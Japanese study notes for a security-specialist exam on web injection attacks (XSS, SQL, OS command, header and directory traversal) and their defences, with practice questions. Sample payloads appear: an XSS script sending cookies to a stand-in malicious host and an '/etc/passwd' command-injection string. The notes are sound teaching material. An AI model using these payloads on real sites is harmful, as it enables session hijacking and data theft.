aaaiiuie

学習(備忘録)のため運用

情報処理安全確保支援士 2.8 Webアプリケーションに不正なスクリプトや命令を実行させる攻撃

情報処理安全確保支援士

近年、Webアプリケーションの入力データチェック不備などの脆弱性を悪用し、不正なスクリプトや命令を実行させる攻撃が多発している。ここではそうした攻撃の仕組みと対策について解説する。

2.8.1 不正なスクリプトや命令を実行させる攻撃の種類

Webアプリケーションには不正なスクリプトや命令を実行させる攻撃には次のようなものがある。

  • クロスサイトスクリプティング
  • SQLインジェクション
  • OSコマンドインジェクション
  • HTTPヘッダインジェクション
  • メールヘッダインジェクション
  • ディレクトリトラバーサル攻撃

これらはセッションハイジャックと併せ、Webサイト運営における大きな脅威となっている。中でもSQLインジェクションはWebサーバの背後にあるデータベースを操作したり、データベースに登録された個人情報などを不正に取得したりすることを可能にするものであり、実害も数多く報告されている。
なお、上記の攻撃手法のほか、Webアプリケーションのユーザ認証やセッション管理の不備をついて、サイトの利用者にWebアプリケーションに対する不正な処理要求を行わせるクロスサイトリクエストフォージェリ（CSRF）がある。

2.8.2 クロスサイトスクリプティング

クロスサイトスクリプティング（Cross-Site Scripteing：XSS）は、ユーザの入力データを処理するWebアプリケーションや、Webページを操作するJavaScriptなどに存在する脆弱性を悪用し、ユーザのPC上で不正なスクリプトを実行させる攻撃である。
XSSにより『Webサイトを閲覧したユーザの個人情報を盗み出される』、『クライアントPC上のファイルが破壊される』、『バックドアが仕掛けられる』、といった様々な被害を引き起こす可能性がある。

● XSS脆弱性の種類

3.1.1で解説する脆弱性の種類を識別するための共通基準であるCWE（Common Weakness Enumeration）では、XSSの脆弱性を次の三つに分類している。

反射型XSS（非持続的）

ユーザからのリクエストに含まれるスクリプトに相当する文字列を、Webアプリケーションが当該リクエストへのレスポンスであるWebページ内に実行可能なスクリプトとして出力してしまうタイプのXSS脆弱性。スクリプトがリクエストの送信者へ帰ることから、反射型XSS（Reflected XSS）と呼ばれる。

格納型XSS（持続的）

ユーザからのリクエストに含まれるスクリプトに相当する文字列を、Webアプリケーション内部に永続的に保存することにより、当該文字列をWebページ内に実行可能なスクリプトとして出力してしまうタイプのXSS脆弱性。この脆弱性があるWebページをユーザが閲覧するたびに保存した文字列がスクリプトとして実行されることから、格納型XSS（Stored XSS）と呼ばれる。

DOM-based XSS

Webページに含まれる正規のスクリプトにより、動的にWebページを操作した結果、意図しないスクリプトをWebページに出力してしまうタイプのXSS脆弱性。Webページを構成するオブジェクトを操作する仕組みをDOMと呼ぶことから、DOM-based XSS（DOMベースのXSS）と呼ばれる。
反射型XSS、格納型XSSはWebアプリケーションのWebページ出力処理に不備があることによる脆弱性であり、DOM-based XSSはスクリプトによるWebページ出力処理（DOM操作）に不備があることによる脆弱性である。
以降は反射型XSSを中心に解説する。なお、本書でXSSのタイプを明示しない場合には反射型XSSのことを指す。

● 反射型XSSの脆弱性の有無を確認する方法

名前・住所・電話番号を入力するWebページを例に、反射型XSSの脆弱性の有無を確認する方法を次に示す。

入力フォームに正常なデータを入力して実行（送信）した場合

入力したデータがWebアプリケーションによって処理され、そのまま確認画面として表示される。

反射型XSS 脆弱性の確認方法１

住所入力欄にアラートを表示するスクリプトを入力して実行した場合

反射型XSSの脆弱性が　ない　サイト
入力したスクリプトがWebサーバでは単なる文字列として処理され、そのまま確認画面に表示される。もしくはWebサーバ側では不正な文字列として認識され、別の文字に置き換えられる。

反射型XSS脆弱性の確認方法２

反射型XSSの脆弱性が　ある　サイト
入力したスクリプトが実行され、アラートがポップアップ表示される。

反射型XSS脆弱性の確認方法３

反射型XSSの脆弱性があるサイトでは、入力データのチェックが適切に行われていないため、上の図のようにスクリプトを入力すれば、クライアント環境で様々な処理が実行できることになる。
上記の例のような送信フォームの入力データは多くの場合、Webアプリケーションによって処理されている。入力データのWebアプリケーションへの引き渡しをGETメソッドで行なっている場合には、次のようなURLをクリックすることで、住所入力欄にデータを入力して実行した場合と同じ結果が得られる（反射型XSS脆弱性が存在するサイトではhttp://www.example.com/ だった場合）。

http://www.example.com/cgi-bin/confirm.cgi?address=<script>alert('hello')</script>

これを応用すれば悪意のあるサイト「http://www.mailcious-site.com/」が開設しているWebページや発信したメールの中に、次のようなスクリプトを含めた、反射型XSS脆弱性のあるサイト（http://www.example.com/）へのリンクを埋め込んでおき、それをクリックさせることで「http://www.example.com/」からクライアントに発行されたクッキーを悪意のあるサイト「http://www.malicious-site.com」に転送させて盗むことが可能となる。

<script>location.replace("http://www.malicious-site.com/cgi-bin/getcookie.cgi?cookie=" + document.cookie");</script>

実際には、このスクリプトを反射型XSS脆弱性のあるサイトで実行させる必要がるため、次のようなリンクを攻撃者が解説したサイトや掲示板、ターゲットとなるユーザへのメール本文に埋め込んでおく。

http://www.example.com/bbs/board.cgi?parm=<script>location.replace("http://www.malicious-site.com/cgi-bin/getcookie.cgi?cookie=" + docment.cookie);</script>
反射型XSSの実行イメージ

このように、二つのサイトにまたがって、最終的にクライアント環境で不正なスクリプトが実行されることから、クロスサイトスクリプティングという名が名付けられている
なお、格納型XSSでは、不正なスクリプトが予めターゲットWebサイトに格納されているため、クライアントからのリクエスト（図の３）にはスクリプトは含まれない。 クッキーの漏洩を防ぐため、標準では「http://www.example.com/」から発行されたクッキーは同サイトのページから読み込みができるようになっている（実際にはクッキーのdomainパラメタで有効範囲を設定可能）が、クライアント上で実行されるスクリプトによって、第三者が入手できてしまうことになる。
会員制のサイトなどでは、クッキーにユーザの識別情報がセットされていることが多いため、それを盗むことでセッションハイジャックを成立させ、正規の会員に成り済ますことができてしまう可能性がある（実際にはクッキーの有効期限など、いくつかの条件が揃わない限り成立しない）。
上記のような例のほか、スクリプトを用いることでWebページ上に入力欄を設けたり、ボタンを追加したりすることなども可能である。そうしたことから、近年では、反射型XSSの脆弱性を悪用することで正規のページには存在しないクレジット番号入力欄を追加した偽ページを作り出し、フィッシング詐欺を行う事件なども発生している。

XSSへの対策としては、Webアプリケーションで行うものと通常経路上で行うものがある。

● Webアプリケーションでの対策

反射型XSS、格納型XSSの基本的な対策を次にあげる。

  1. HTTPレスポンスヘッダのContent-Typeフィールドに文字コードを指定する。
  2. タグの属性値を必ずダブルクォートで囲む。
  3. タグの属性値などに含まれるメタキャラクタのエスケープ処理を行う。

HTTPレスポンスヘッダのContent-Typeフィールドには「Content-Type: text/html;charset=UTF-8」のように、文字コード（charset）を指定できる。これを省略した場合、ブラウザの独自の方法で文字コードを推定して表示処理を行う。攻撃者はこの挙動を悪用して、ある文字コードを解釈した場合にスクリプトのタグとなるような文字列を埋め込む可能性がある。
例えばUTF-7では「<」を「+ADw-」、「>」を「+AD4-」のように表記できる。そのため、文字セットしてUTF-7が指定されているか、あるいは文字セットが明示されていないと、攻撃者がUTF-7エンコードされたスクリプトを混入させることができる可能性がある。１はこうした問題を防ぐための対策である。
２は、属性値を一連の文字列として扱うために必須である。これが行われていないと、属性値にスペースが含まれただけで問題が発生する可能性がある。
３は、入力データを処理するWebアプリケーションにおいて、入力データに「<」「<」「&」などのメタキャラクタが存在した場合、HTML出力時にそれらに対するエスケープ処理を行うようにするものである。なお、エスケープ処理によってデータを無害化することから、このような対処方法を「サニタイジング」と呼ぶこともある。
同じ文字であっても、HTMLのテキスト部とタグの属性値などではエスケープ処理の方法が異なる。そのため、入力データを受け付けた時点ではなく、出力データ（HTML）を生成する際にエスケープ処理を行う必要がある。

用語解説：メタキャラクタ 正規表現、プログラム言語なである特別な働きをする文字

HTMLテキスト部のエスケープ処理例とHTMLタグの属性値のエスケープ処理例

HTMLタグの特定の賊邸などにおける注意事項
次に示す特定の属性や箇所において利用者からの入力値を出力する場合は、上記のエスケープ処理のみではXSSの対策として不十分である。

  • aタグのhref属性
  • imgタグのsrc属性
  • タグのstyle属性
  • タグのイベント属性（イベントハンドラ）
  • スクリプトの文字列

基本的な対策としては、これらの属性に対して、利用者など外部からの入力値を出力しないようにすることあであるが、どうしてもその必要がある場合には、各々の属性において許可する文字および文字列や、逆に拒否する文字列および文字列を特定し、それに従って処理するようにする必要がある。

用語解説：イベントハンドラ onclickなど主に利用者の操作内容に応じた処理を記述するためにイベント属性の値として記述する

スクリプトの文字列リテラルに対するエスケープ処理の例

スクリプトの文字列リテラルに対するエスケープ処理の例

上記のプログラムを前提とした場合、スクリプトに引き渡す文字列を「'」で囲っていることから、これをエスケープしないと問題が生じることになる。例えば、利用者の入力した文字列に「’」が含まれていると、そこれでスクリプトに引き渡す文字列が置換してしまうため、正常に処理が行われなくなり、不正なスクリプトを流し込まれる可能性がある。
また「'」→「\'」の置換を行なっていた場合に、上記のプログラムで利用者の入力した文字（word）が「\');alert(docment.cooke)//」でかつ「\」→「\\」の置換を行なっていないと、出力結果は次のようになる。

<a name="#" onclick="alert('\\');alert(docment.cookie)//')">Previous search word</a>

これを実行した場合、画面上の「Previous search word」のテキストをクリックすると最初に「\」のダイアログが表示され「OK」をクリックすると、続いてからのダイアログボックス（クッキーを使用している場合にはクッキーの値）が表示されてしまう。したがって、不正なスクリプトが実行されてしまうことになる。
ここで「\」→「\\」の置換を行なっていた場合には、出力結果は次のようになる。

<a name="#" onclick="alert('\\\');alert(docment.cookie)//')">Previous search word</a>

これを実行した場合、画面上の「Previous search word」のテキストをクリックすると「\')alert(docment.cooke)//」という文字列のダイアログボックスが表示されるのみとなり、不正なスクリプトの実行は回避できる。
なお「’」のエスケープ方法として「\'」ではなく、Unicodeを用いて「\u0027」に置換する方法もある。上記のプログラムで利用者の入力した文字列（word）が「\')alert(docment.dookie)//」であった場合、このエスケープ方法では出力結果は次のようになる。

<a name="#" onclick="alert('\\u0027);alert(docment.cooke)//')">Previous search word</a>

これを実行した場合、画面上の「Previous search word」のテキストをクリックすると「\u0027);alert(docment.cooke)//」という文字列のダイアログボックスが表示されるのみとなり、不正なスクリプトの実行は回避できる。そのため、「\」をエスケープする必要はなくなる。

● HttpOnly属性によるクッキーの漏洩対策

発行するクッキーにHttpOnly属性を設定しておくと、そのクッキーの適用範囲をHTTP/HTTPS通信だけに限定し、ブラウザなどで実行されたスクリプトが”docment.cookie”を用いてアクセスすることを禁止する。これにより、XSSによってクッキーが盗まれるのを防ぐことが可能となる。
正し、この対策を実施する上で次のような点に留意しておく必要がある。

  1. HttpOnly属性に対応していないブラウザの存在
  2. TRACEメソッドによるクッキー取得の可能性

１については、旧バージョンのブラウザを使用していた場合にはHttpOnly属性が有効に機能せず、クッキーが盗まれる可能性がある。
２については、WebサーバにおいてTRACEメソッドが有効であり、かつXSSの脆弱性があると、「クロスサイトトレーシング（XST）」と呼ばれる攻撃手法により、クッキーや認証譲歩を含むHTTPヘッダ全体が取得されてしまう可能性がある。そのため、WebサーバでTRACEメソッドを無効にしておく必要があるが、実際には一般的に普及している主要なブラウザではいずれもTRACEメソッドをXMLHttpReauestオブジェクトから発行することが禁止されているため、XSTによる問題が発生する可能性は低い。

● 通信経路上での対策

反射型XSSへの対策として、通信経路上で行うものもある。それは、Webアプリケーションファイアウォール（WAF）を用いて反射型XSS脆弱性をついた攻撃を遮断するという方法である。

● DOM-based XSSの仕組み

情報セキュリティスペシャリスト試験の平成26年度秋期・午後II問２で、DOM-based XSSの例とその対策について出題され、問題文は次の図のHTMLとURIが示された。

平成26年度秋期・午後II問２_HTMLとURI

上図の「URIの例」のURIにブラウザからアクセスすると、上図「HTMLの例」のHTMLの４行目の記述により、URIの”＃”以降の部分が実行され、その結果”１”という警告ダイアログが表示される。
HTMLの４行目の「hash」は、記号の”＃”のことであり「location.hash」で”＃”以降の部分の文字列を取得し「docmentURIComponent」でデコードし、「document.write」でブラウザに表示する。
DOM-based XSSの主な原意となるのは”docment.write”や"innerHTML"などのメソッドやプロパティである。これらは引数と渡した文字列にHTMLタグやスクリプトに相当する文字列が含まれていれば、それをそのまま解釈し、Webページの構造（DOMツリー）を意図せず動的に変更してしまう可能性がある。

用語解説：URI URI（Uniform Resource Identifier：統一資源識別子）は、一定の書式によって世界中に存在する情報リソースを一位に指し示す識別子であり、URL（Unitorm Resource Locator）の考え方を拡張したものである。http.frpなどのスキームで始まり、「:」で区切った後にスキームごとの書式にしたがってリソースの場所を記述する。

● DOM-based XSSの対策

DOM-based XSSの対策としては、上記のようなメソッドやプロパティを使用するのではなく、”createElement”、”createTextNode”などのDOM操作用のメソッドやプロパティを使用してWebページを構築することである。仕様上どうしても”docment.write”や”innerHTML”などのメソッドやプロパティを使用する必要がある場合は、出力箇所の文脈に応じてエスケープ処理を組み込む。例えば、href属性やsrc属性の値の一部として文字列を出力スrばあいは、URIとして使用できない文字をURLエンコードする必要がある。
また、DOM-based XSSの脆弱性は独自開発されたWebページに限らず、jQueryなどのjavascriptライブラリの古いバージョンにも存在することがわかっている。そのためjavascriptライブラリを新しいバージョンにアップデートすることも必要である。
なお、反射型XSSについては、スクリプトを含むデータを対象となるWebアプリに入力し、その結果、Webサイトからの応答中に有効なスクリプトして出力されているかどうかを確認することで脆弱性の有無を判定する。
一方、DOM-based XSSの場合は、攻撃者が注入するデータ（不正なスクリプトなど）がWebサイトから応答中に出力されない。そのため、反射型XSSと同じ方法では脆弱性の有無を診断することはできない。DOM-based XSSの脆弱性については、”＃”から始まるフラグメント識別子を使うスクリプトの存在を確認の上、当該スクリプトを分析し、フラグメント識別子の値の変化による挙動を確認することで、その存在が検知可能である。
DOM-base XSSの脆弱性はHTMLとjavascriptで作られたブラウザのアドオンなど、Webサーバがなくとも存在する可能性がある。
また、脆弱性を狙った攻撃が行われたとしてもスクリプトに相当する文字列がWebサーバへ送信されない場合もあるため、WAFを用いて攻撃を検知し、遮断することも困難である。

2.8.3 SQLインジェクション

SQLインジェクションとはユーザーの入力データをもとにSQL文を編集してデータベースにクエリを発行し、その結果おw表示する仕組みになっているWebページにおいて、不正なSQL文を入力することでデータベースを操作したり、データベースに登録された個人情報などを不正に取得したりする攻撃手法である。XSSと同様に、ユーザーの入力データのチェックに不備がある場合に成立する可能性がある。

SQLインジェクションの実行イメージ

● SQLインジェクションの実行方法

ユーザー名とパスワードの入力欄を設け、その入力ちから次のようなSQL文を編集するページにおいて、SQLインジェクションを実行する例を示す。

不正な入力データによるSQLインジェクションの例

この例では「name = 'SHOEISHA' AND passwd="」と常に真となる「'1'-'1'」とのOR条件となり、その結果、membersのすべてのレコードが選択されることになる。このように、Webアプリケーションが「'」「;」「%」「+」など、SQL文として意味を持つ文字をそのまま受け入れてしまうような場合には、いとも簡単に不正なSQL文を編集することができる。 また上記の問題に加え、SQLインジェクションの原因となるものに次の二つがあるため、これらについても対策が必要である。

データベースのアクセス権設定
Webアプリケーションによるデータベースの操作に必要以上の権限（管理者権限など）が与えられていると、不正なSQL文が実行される可能性が高まる。

Webサーバのエラ〜メッセージ処理設定
SQL文の実行時にデータベースでエラーが発生した場合に、詳細なエラ〜メッセージをクライアント（ブラウザ）に返す設定になっていると、攻撃者にとっては有益な情報を与えてしまう可能性がある。この脆弱性を悪用し、データベースサーバ上で意図的にエラーを発生させ、表示されるエラーメッセージから情報を盗む手法などもある。

● SQLインジェクションへの対策

SQLインジェクションへの対策として、次のようなものがある。

Webアプリケーションでの対策１（バンドル機構の使用）
バンドル機構とは変数部分にプレースホルダと呼ばれる特殊な文字（「？」など）を使用してSQL分の雛形をあらかじめ用意しておき、後からそこに実際の値を割り当ててSQL文を完成させる方法である割り当てられる変数は完全な数値定数もしくは文字列定数有として扱われるため、変数の中にSQL文として特別な意味を持つ文字が含まれていたとしても、それらは自動的にエスケープ処理され、単なる文字列として認識される。

バインド機構の使用例

ただし、プレースホルダがLIKE句に含まれる場合、「％」「＿」はワイルドカードを意味する文字となるため、単なる文字として扱いたい場合にはあらかじめエスケープ処理する必要がある。

Webアプリケーションでの対策２（入力データのエスケープ処理）
バインド機構を使用しない場合には、入力データを処理するWebアプリケーションにおいて、入力データつ有の「'」「;」「%」「+」などSQL文として意味を持つメタキャラクタをエスケープ処理する。例えば「'」は「”」で置き換えると単なる文字列として扱うことができる。先程の図「不正な入力データによるSQLインジェクションの例」でこの処理を実行すると次の図のようなSQL文になる。

メタキャラクタのエスケープ処理による対策の例

Webサーバのエラーメッセージ処理に関する対策

  • クライアントに詳細なエラーメッセージを送らないように設定する

通信経路上での対策

  • Webアプリケーションファイアウォールを用いてSQLインジェクションを遮断する

RDMBSのアクセス権設定に関する対策

  • Webアプリケーションからのクエリを必要最小限の権限のみを持つアカウントで処理するようにする

OSコマンドインジェクション

OSコマンドインジェクションとは、ユーザーの入力データをもとに、OSのコマンドを呼び出して処理するWebページにおいて、不正なコマンドを入力することで任意のファイルを読み出し、変更、削除、パスワードの不正取得などを行う攻撃手法である。

● OSコマンドインジェクションの実行方法

OSのコマンドの呼び出しは、言語によって用意されている関数を用いて実行する。OSコマンドの呼び出しに使用できる関数の例を次に示す。

OSコマンドを実行する関数の例
commandは実行するコマンド（指定方法やパラメタは関数ごとに異なる）

● OSコマンドインジェクションへの対策

Webプリケーションでの対策

  • OSコマンドの呼び出しが可能な関数を極力使用しない
  • 入力データに使用可能な文字種や書式などのルールを明確にする（文字種を極力制限する）
  • 上記ルールに沿って入力データをチェックする
  • ルールに従わないデータはエラーとして扱う（エスケープ処理は行わない）

通信経路上での対策

  • Webアプリケーションファイアウォールを用いてOSコマンドインジェクショを遮断する

2.8.5 HTTPヘッダインジェクション

HTTPヘッダインジェクションとはユーザーの入力データをもとに、HTTPメッセージのレスポンス（メッセージヘッダ、メッセージボディ）を生成するWebアプリケーションにおいて、不正なデータを入力することで、任意のヘッダーフィールドやメッセージボディを追加したり、複数のレスポンスに分割したりする攻撃を行う手法である。なおHTTPレスポンスに改行コードを追加することで複数のレスポンスを作り出す攻撃は、HTTPレスポンス分割とも呼ばれている。

● HTTPヘッダインジェクションによる攻撃例

HTTPヘッダインジェクションにより、次のような攻撃が可能となる。

  • ユーザーのブラウザに偽の情報を表示
  • 不正なスクリプトの組み込み
  • 任意のクッキーの発行
  • キャッシュサーバのキャッシュ汚染

● HTTPヘッダインジェクションへの対策

HTTPヘッダインジェクションへの対策としては次のようなものがある。

  • HTTPレスポンスヘッダをWebアプリケーションから直接出力せず、実行環境や言語に実装されているヘッダ出力用のAPIやライブラリを使用する
  • 上記のAPIやライブラリの使用有無に関わらず、HTTPレスポンスヘッダ生成に用いるユーザー入力データに対して改行コードのチェックを行い、含まれていた場合には削除する
  • クッキーを発行する場合にはURLエンコードを確実に行う。

2.8.6 メールヘッダインジェクション

メールヘッダインジェクションとは、ユーザーがフォームに入力したデータをもとにメールを送信するWebアプリケーションにおいて、不正なメールヘッダを混入させることにより、意図していないアドレスに迷惑メールを送信するなど、メール送信機能を悪用した攻撃手法である。通常このようなWebアプリケーションでは送信先のメールアドレスは固定されており、管理者以外は変更できないようになっているが、実装上の脆弱性により、第三者が自由に設定できてしまう場合がある。

● メールヘッダーインジェクションによる攻撃例

送信先のアドレス（TO）は固定で、送信者のアドレス（From）と本文をフォームから入力する仕組みになっているようなメール送信プログラムにおいて、送信者のアドレスとして改行コードとメールヘッダを含む文字列を入力すると、意図していないアドレスまでメールが送信されてしまう可能性がある。

● メールヘッダインジェクションへの対策

メールヘッダインジェクションへの対策としては次のようなものがある。

  • メールヘッダをすべて固定値にし、ユーザーの入力値をメールヘッダに出力しない
  • Webアプリケーションの実行環境や言語に実装されているメール送信用のAPIを使用する（ただし、APIによっては改行コードの取り扱いが不適切なものもあるため注意が必要）
  • hiddenフィールドなど、改竄が用意な場所にメール送信し先のアドレスを設定しない
  • メールヘッダとして用いるユーザー入力データに対して家業コードのチェックを行い、含まれていた場合には削除する

2.8.7 ディレクトリトラバーサル攻撃

ディレクトリトラバーサル攻撃とは、ユーザーの入力データなど、外部からファイル名として使用する文字列を受け取り、Webサーバないのファイルにアクセスする仕組みになっているWebアプリケーションにおいて、ファイル名の先頭に「../」や「..\」など、上位のディレクトリを意味する文字列を用いることにより公開を意図していないファイルに不正にアクセスする攻撃手法である。

● ディレクトリトラバーサル攻撃への対策

外部から受け取った文字列を用いてWebサーバ内のファイルにアクセスするのは非常に危険であるため、Webアプリケーションの使用を見直し、それを取りやめることが確実な対策となる。それができない場合の対策としては、下記のようなものがある。

  • パス名からファイル名のみを取り出す「hasename()」などのコマンドや関数を使用し、お文字列からディレクトリ名を取り除く
  • Webサーバ内のファイルへアクセス券を正しく設定する
  • ファイル名を指定した文字列に「/」「../」「..\」などが含まれていないかをチェックし、そうした文字が含まれていた場合にはエラー処理を行う

確認問題１

Webアプリケーションの脆弱性を悪用する攻撃手法のうち、Webページ上で入力した文字列がPerlのsystem関数やPHPのexec kansuunadon渡されることを利用し、不正にシェルスクリプトを実行させるものはどれに分類されるか。

ア　HTTPヘッダインジェクション
イ　OSコマンドインジェクション
ウ　クロスサイトリクエストフォージェリ
エ　セッションハイジャック

解答・解説
問題文に該当するのはOSコマンドインジェクションであり、イが正解。OSコマンドインジェクションはPerlのopen関数、system関数、PHPのexec関数など、OSコマンドや外部プログラムの呼び出しを可能にするための関数を利用することで任意の命令を実行したり、ファイルの読み出し、変更、削除などを行ったりする攻撃手法である。 HTTPヘッダーインジェクションはHTTPヘッダ内に不正なデータを入力することで、任意のヘッダフィールドやメッセージボディを追加したり、複数のレスポンスに分割したりする攻撃を行う手法である。 クロスサイトリクエストフォージェリは、Webアプリケーションのユーザ認証やセッション管理の不備をついてサイト利用者に不正な処理要求を行わせる手法である。 セッションハイジャックは、クライアントとサーバの正規なセッションの間に割り込んでそのセッションを奪い取る行為である。

確認問題2

安全なWebアプリケーションの作り方について、攻撃と対策の適切な組み泡あせはどれか

確認問題２（表）
解答・解説
SQLインジェクションとは、ユーザーの入力値をもとにデータベースにSQL命令を発行する仕組みになっているWebアプリケーションにおいて、不正なSQL命令を混入させることで、データを改竄したり、不正に取得したりする攻撃手法である。SQLインジェクションを防ぐには、データベースのバインド機構を用いるのが有効である。 バインド機構とは変数部分にプレースホルダと呼ばれる特殊文字（「？」など）を使用してSQL文の雛形をあらかじめ用意しておき、後からそこに実際の値を割り当ててSQL文を完成させる方法である。割り当てられる変数は完全な数値定数もしくは文字列定数として扱われるため、変数の中にSQL文として特別な意味を持つ文字が含まれていたとしても、それらは自動的にエスケープ処理され、単なる文字列として認識される。 したがって「ア」が正解。

確認問題3

クリックジャッキング攻撃に該当するものはどれか

ア　Webアプリケーションの脆弱性を悪用し、ウェブサーバに不正なリクエストを送ってウェブサーバからのレスポンスを二つに分割させることによって、利用者のブラウザのキャッシュを偽装する
イ　Webページのコンテンツ上に透明化した標的サイトのコンテンツを配信し、利用者が気づかないうちに標的サイト上で不正操作を実行させる
ウ　ブラウザのタブ表示機能を利用し、ブラウザの非活性なタブの中身を利用者が気づかないうちに偽ログインページに書き換えて、それを操作させる
エ　利用者のブラウザの設定を変更することによって利用者のWebページの閲覧履歴やパスワードなどの秘密情報を盗み出す

解答・解説
クリックジャッキング攻撃とは、Webページのコンテンツ上にiframeなどで透明化したレイヤーに標的サイトのコンテンツを配信することにより、利用者を騙して不正な操作を実行させる攻撃手法である。したがってイが正解。

確認問題4

ディレクトリトラバーサル攻撃はどれか。

ア　OSの操作コマンドを利用するアプリケーションに対して、攻撃者が、OSのディレクトリ作成コマンドを渡して実行する
イ　SQL文のリテラル部分の生成処理に問題があるアプリケーションに対して、攻撃者が、任意のSQL文を渡して実行する
ウ　シングルサインオンを提供するディレクトリサービスに対して、攻撃者が、不正に入手した認証譲歩を用いてログインし、複数のアプリケーションを不正使用する
エ　入力文字列からアクセスするファイル名を組み立てるアプリケーションに対して、攻撃者が上位のディレクトリを意味する文字列を入力して、非公開のファイルにアクセスする

解答・解説
ディレクトリトラバーサル攻撃とは、ファイル名の入力に伴うアプリケーションに対して、ファイル名の先頭に「../」「..\」などを用いることにより、通常アクセスできない上位のディレクトリにある非公開のファイルにアクセスする攻撃手法である。 したがって「エ」が正解

確認問題5

ウェブサーバのログを分析したところ、ウェブサーバへの古劇と思われるHTTPリクエストヘッダが記録されていた。次のHTTPリクエストへだから推測できる、攻撃者が悪用しようとしている脆弱性はどれか。

HTTPリクエストヘッダ部分

ア　HTTPヘッダインジェクション
イ　OSコマンドインジェクション
ウ　SQLインジェクション
エ　クロスサイトスクリプティング

解答・解説
HTTPリクエストヘッダの「?user=;cat /etc/passwd」でOSコマンドである「cat」を用いて「/etc/passwd」ファイルを表示しようとしていることから、攻撃者が悪用しようとしている脆弱性はOSコマンドインジェクションであることがわかる。したがって「イ」が正解。